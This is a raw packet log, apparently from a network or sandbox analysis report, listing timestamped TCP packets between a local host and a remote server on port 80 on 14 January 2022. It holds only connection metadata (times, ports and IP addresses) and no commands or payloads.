Jan 14, 2022 12:30:14.534897089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.534996033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535095930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535177946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535275936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535368919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535466909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535536051 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.535556078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535659075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535748005 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.535788059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535873890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535957098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.535985947 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.536091089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.536155939 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.536196947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.536292076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.536377907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.536478043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.536569118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.536667109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.536755085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.536850929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.536938906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537034988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537128925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537229061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537317038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537451982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537545919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537652969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537740946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537837982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.537925959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538021088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538114071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538212061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538299084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538398027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538485050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538585901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538678885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538775921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538863897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.538960934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539048910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539150953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539242029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539338112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539427042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539526939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539617062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539722919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539832115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.539925098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.540029049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.540119886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.540220022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.544312000 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.544351101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.544620037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.544740915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.544831991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.544930935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545021057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545121908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545208931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545398951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545506001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545614004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545696020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545800924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545908928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.545993090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.546082973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.546183109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.546339989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.546469927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.546566010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.546658993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.546747923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.546838045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.546928883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547013044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547096968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547199011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547288895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547379017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547463894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547559023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547646999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547729015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547820091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547909975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.547997952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548088074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548228979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548270941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548361063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548451900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548541069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548629045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548719883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548803091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548892975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.548981905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549067020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549168110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549257994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549344063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549434900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549524069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549611092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549695969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549789906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549876928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.549968958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550055981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550158978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550250053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550335884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550426960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550513983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550604105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550693989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550780058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550872087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.550961018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551045895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551148891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551239967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551327944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551418066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551507950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551594019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551687956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551774979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551860094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.551953077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.552042007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.552145958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.552237034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.552328110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.552416086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.552506924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.552597046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.552686930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.552895069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553086042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553189993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553277969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553378105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553468943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553569078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553656101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553755045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553842068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.553936005 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.553940058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.554042101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.554136992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.554234982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.554321051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.554419041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.554511070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.554610968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.567672014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.567830086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.567943096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568032026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568131924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568223953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568311930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568399906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568490028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568579912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568664074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568756104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568841934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.568933010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.569067955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.569178104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.569262981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.569361925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.569453955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.569542885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.569658995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.569770098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.572339058 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.572398901 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.574920893 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.574945927 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.574959040 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.578500986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.578732967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.578922033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579029083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579145908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579226971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579329967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579415083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579519987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579608917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579718113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579807997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579895973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.579981089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580082893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580177069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580291033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580375910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580483913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580581903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580704927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580775976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580864906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.580961943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581053019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581151962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581267118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581336975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581424952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581525087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581614971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581713915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581809044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581949949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.581988096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.582087040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583008051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583108902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583280087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583385944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583475113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583575964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583662033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583760023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583848953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.583947897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.584048986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.584145069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.584323883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.584460020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.584594011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.584669113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.584755898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.584878922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.584929943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.585019112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.585114956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.585280895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.585374117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.585465908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.585563898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.585666895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.585829973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586026907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586050987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586085081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586194038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586316109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586412907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586513996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586625099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586698055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586798906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.586886883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.587146997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.587341070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.587450981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.587532043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.587625027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.587713003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.587806940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.587896109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.587990999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.588076115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.593249083 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.595339060 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.602473021 CET	80	49916	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.605441093 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.606067896 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.612782955 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.621947050 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.623197079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.623327017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.623462915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.623580933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.623709917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.623826981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.623966932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.624099970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.624244928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.624387980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.624537945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.624660969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.624821901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.624943018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.625091076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.626564026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.626692057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.626832008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.626956940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.627088070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.627310038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.627458096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.627584934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.627722025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.627850056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.627975941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.628097057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.628238916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.628369093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.628509998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.628637075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.628770113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.628894091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.629035950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.629173994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.629317999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.629451990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.629590988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.629858971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.629883051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.629993916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.630120039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.630523920 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.630554914 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.630644083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.630903006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.630997896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.631088018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.631814957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.631907940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632040977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632158041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632260084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.632349014 CET	49914	80	192.168.2.4	185.215.113.35
